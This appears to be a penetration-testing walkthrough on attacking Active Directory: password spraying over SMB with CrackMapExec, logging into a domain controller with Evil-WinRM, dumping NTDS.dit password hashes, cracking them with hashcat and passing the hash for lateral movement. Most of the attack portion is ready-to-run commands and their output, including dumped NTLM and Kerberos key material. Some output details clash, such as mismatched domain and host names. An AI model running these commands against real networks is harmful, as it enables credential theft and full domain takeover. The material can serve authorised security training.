Attacking AD & NTDS.dit

Creating a Custom list of Usernames

We can manually create our list(s) or use an automated list generator such as the Ruby-based tool Username Anarchy to convert a list of real names into common username formats.

neutron@kali[/kali]$ ./username-anarchy -i /home/ltnbob/names.txt 


Launching the Attack with CrackMapExec

neutron@kali[/kali]$ crackmapexec smb -u bwilliamson -p /usr/share/wordlists/fasttrack.txt

SMB     445    DC01           [*] Windows 10.0 Build 17763 x64 (name:DC-PAC) (domain:dac.local) (signing:True) (SMBv1:False)
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:winter2017 STATUS_LOGON_FAILURE 
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:winter2016 STATUS_LOGON_FAILURE 
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:winter2015 STATUS_LOGON_FAILURE 
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:winter2014 STATUS_LOGON_FAILURE 
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:winter2013 STATUS_LOGON_FAILURE 
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:P@55w0rd STATUS_LOGON_FAILURE 
SMB     445    DC01             [-] legalcorp.local.local\bwilliamson:P@ssw0rd! STATUS_LOGON_FAILURE 
SMB     445    DC01             [+] legalcorp.local.local\bwilliamson:P@55w0rd! 

Capturing NTDS.dit

NT Directory Services (NTDS) is the directory service used with AD to find & organize network resources. NTDS.dit file is stored at %systemroot$/ntds on the domain controllers in a forest. The .dit stands for directory information tree. This is the primary database file associated with AD and stores all domain usernames, password hashes, and other critical schema information. If this file can be captured, we could potentially compromise every account on the domain

Connecting to a DC with Evil-WinRM

neutron@kali[/kali]$ evil-winrm -i  -u bwilliamson -p 'P@55w0rd!'

Once connected, we can check to see what privileges bwilliamson has.

*Evil-WinRM* PS C:\> net localgroup

Aliases for \\DC01

*Access Control Assistance Operators
*Account Operators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*Event Log Readers
*Hyper-V Administrators
*Incoming Forest Trust Builders
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Server Operators
*Storage Replica Administrators
*Terminal Server License Servers
*Windows Authorization Access Group
The command completed successfully.

We are looking to see if the account has local admin rights. To make a copy of the NTDS.dit file, we need local admin (Administrators group) or Domain Admin (Domain Admins group) (or equivalent) rights. We also will want to check what domain privileges we have.

*Evil-WinRM* PS C:\> net user bwilliamson

User name                    bwilliamson
Full Name                    Ben Williamson
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/13/2022 12:48:58 PM
Password expires             Never
Password changeable          1/14/2022 12:48:58 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/14/2022 2:07:49 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
The command completed successfully.

This account has both Administrators and Domain Administrator rights which means we can do just about anything we want, including making a copy of the NTDS.dit file.

neutron@kali[/kali]$ crackmapexec smb -u bwilliamson -p P@55w0rd! --ntds

SMB    445     DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:legalcorp.local.local) (signing:True) (SMBv1:False)
SMB    445     DC01             [+] legalcorp.local.local\bwilliamson:P@55w0rd! (Pwn3d!)
SMB    445     DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB    445     DC01           Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB    445     DC01           Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB    445     DC01           DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e6be3fd362edbaa873f50e384a02ee68:::
SMB    445     DC01           krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cbb8a44ba74b5778a06c2d08b4ced802:::
SMB    445     DC01           legalcorp.local.local\jim:1104:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
SMB    445     DC01           WIN-IAUBULPG5MZ:1105:aad3b435b51404eeaad3b435b51404ee:4f3c625b54aa03e471691f124d5bf1cd:::
SMB    445     DC01           WIN-NKHHJGP3SMT:1106:aad3b435b51404eeaad3b435b51404ee:a74cc84578c16a6f81ec90765d5eb95f:::
SMB    445     DC01           WIN-K5E9CWYEG7Z:1107:aad3b435b51404eeaad3b435b51404ee:ec209bfad5c41f919994a45ed10e0f5c:::
SMB    445     DC01           WIN-5MG4NRVHF2W:1108:aad3b435b51404eeaad3b435b51404ee:7ede00664356820f2fc9bf10f4d62400:::
SMB    445     DC01           WIN-UISCTR0XLKW:1109:aad3b435b51404eeaad3b435b51404ee:cad1b8b25578ee07a7afaf5647e558ee:::
SMB    445     DC01           WIN-ETN7BWMPGXD:1110:aad3b435b51404eeaad3b435b51404ee:edec0ceb606cf2e35ce4f56039e9d8e7:::
SMB    445     DC01           legalcorp.local.local\bwilliamson:1125:aad3b435b51404eeaad3b435b51404ee:bc23a1506bd3c8d3a533680c516bab27:::
SMB    445     DC01           legalcorp.local.local\bburgerstien:1126:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
SMB    445     DC01           legalcorp.local.local\jstevenson:1131:aad3b435b51404eeaad3b435b51404ee:bc007082d32777855e253fd4defe70ee:::
SMB    445     DC01           legalcorp.local.local\jjohnson:1133:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
SMB    445     DC01           legalcorp.local.local\jdoe:1134:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB    445     DC01           Administrator:aes256-cts-hmac-sha1-96:cc01f5150bb4a7dda80f30fbe0ac00bed09a413243c05d6934bbddf1302bc552
SMB    445     DC01           Administrator:aes128-cts-hmac-sha1-96:bd99b6a46a85118cf2a0df1c4f5106fb
SMB    445     DC01           Administrator:des-cbc-md5:618c1c5ef780cde3
SMB    445     DC01           DC01$:aes256-cts-hmac-sha1-96:113ffdc64531d054a37df36a07ad7c533723247c4dbe84322341adbd71fe93a9
SMB    445     DC01           DC01$:aes128-cts-hmac-sha1-96:ea10ef59d9ec03a4162605d7306cc78d
SMB    445     DC01           DC01$:des-cbc-md5:a2852362e50eae92
SMB    445     DC01           krbtgt:aes256-cts-hmac-sha1-96:1eb8d5a94ae5ce2f2d179b9bfe6a78a321d4d0c6ecca8efcac4f4e8932cc78e9
SMB    445     DC01           krbtgt:aes128-cts-hmac-sha1-96:1fe3f211d383564574609eda482b1fa9
SMB    445     DC01           krbtgt:des-cbc-md5:9bd5017fdcea8fae
SMB    445     DC01           legalcorp.local.local\jim:aes256-cts-hmac-sha1-96:4b0618f08b2ff49f07487cf9899f2f7519db9676353052a61c2e8b1dfde6b213
SMB    445     DC01           legalcorp.local.local\jim:aes128-cts-hmac-sha1-96:d2377357d473a5309505bfa994158263
SMB    445     DC01           legalcorp.local.local\jim:des-cbc-md5:79ab08755b32dfb6
SMB    445     DC01           WIN-IAUBULPG5MZ:aes256-cts-hmac-sha1-96:881e693019c35017930f7727cad19c00dd5e0cfbc33fd6ae73f45c117caca46d
SMB    445     DC01           WIN-IAUBULPG5MZ:aes128-cts-hmac-sha1-
     [+] Dumped 61 NTDS hashes to /home/bob/.cme/logs/DC01_10.10.15.30_2022-01-19_133529.ntds of which 15 were added to the database

Cracking Hashes & Gaining Credentials

We can proceed with creating a text file containing all the NT hashes, or we can individually copy & paste a specific hash into a terminal session and use Hashcat to attempt to crack the hash and a password in cleartext.

neutron@kali[/kali]$ sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt


Pass-the-Hash Considerations

What if we are unsuccessful in cracking a hash? We can still use hashes to attempt to authenticate with a system using a type of attack called Pass-the-Hash (PtH). A PtH attack takes advantage of the NTLM authentication protocol to authenticate a user using a password hash. Instead of username:clear-text password as the format for login, we can instead use username:password hash.

neutron@kali[/kali]$ evil-winrm -i  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"

We can attempt to use this attack when needing to move laterally across a network after the initial compromise of a target.